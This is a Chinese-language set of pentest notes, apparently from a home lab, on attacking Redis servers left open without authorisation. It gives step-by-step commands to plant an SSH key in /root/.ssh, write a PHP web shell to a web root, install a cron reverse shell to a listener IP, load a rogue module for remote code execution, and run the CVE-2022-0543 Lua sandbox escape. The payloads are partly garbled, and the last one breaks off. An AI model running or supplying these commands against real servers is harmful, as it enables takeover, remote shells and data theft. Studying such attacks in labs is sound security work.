Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis是一个开源的、使用c语言编写的NoSQL数据库。
Redis基于内存运行并支持持久化(支持存储在磁盘),采用key-value(键值对)的存储形式,是目前分布式架构中不可或缺的一环。
Redis器程序是单进程模型
Redis服务在一台服务器上可以同时启动多个Redis进程,Redis的实际处理速度则是完全依靠于主进程的执行效率。若在服务器.上只运行一个Redis进程, 当多个客户端同时访问时,服务器的处理能力是会有一-定程度的下降;若在同一台服务器上开启多个Redis进程,Redis在提高并发处理能力的同时会给服务器的CPU造成很大压力。即:在实际生产环境中,需要根据实际的需求来决定开启多少个Redis进程
redis服务 配置不当
ssh密钥登录服务器原理–>https://blog.csdn.net/qq_52549196/article/details/126339995

要在前后都加一个换行
config get dir 获取redis用于文件持久化存储的路径
config get dbfilename 获取redis用于文件持久化存储的文件名
config set dir xxxx 修改路径
config set dbfilename xxx 修改文件名
save 命令是直接手动持久化内存中的数据
cat .\id_rsa.pub | redis-cli.exe -h 192.168.100.128 -x set hack
redis-cli.exe -h 192.168.100.128
config set dir /root/.ssh
config set dbfilename authorized_keys
save
exit

/www/wwwroot/192.168.100.131

redis-cli.exe -h 192.168.100.128
config set dir /www/wwwroot/192.168.100.131
config set dbfilename shell.php
set x "$_POST['1']);?>"
save
成功写入木马

注意任务计划反弹shell方法仅适用于Centos,因为 redis 保存 RDB 会存在乱码,在 Ubuntu 上会报错,而在 Centos 上不会报错
由于系统的不同,crontrab 定时文件位置也不同:
redis-cli.exe -h 192.168.100.128
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.100.1/8888 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save



fscan.exe -h 192.168.100.128 -rf .\id_rsa.pub.txt

fscan.exe -h 192.168.100.128 -rs 192.168.100.1:6666


由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。
影响版本
Redis 2.x,3.x,4.x,5.x
我的win11主机 192.168.100.1
kali docker 中运行 靶机redis 192.168.100.131:6379
docker run -d -p 6379:6379 redis:5.0.0

git clone https://github.com/LoRexxar/redis-rogue-server.git
然后将该模块编译:make, 在当前目录下会生成一个module.so
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand
make

将其复制到redis-rogue-server目录下并改名为exp.so
cp module.so ../redis-rogue-server/exp.so
cd ../redis-rogue-server
python redis-rogue-server.py --rhost 192.168.100.131 --rport 6379 --lhost 192.168.100.1 --lport 23333



Redis Lua沙盒绕过 命令执行(CVE-2022-0543)
Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令
运行在 Debian、Ubuntu 或其他基于 Debian 的 Linux 发行版系统上的 Redis 服务。 2.2 < redis < 6.2.5
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close();










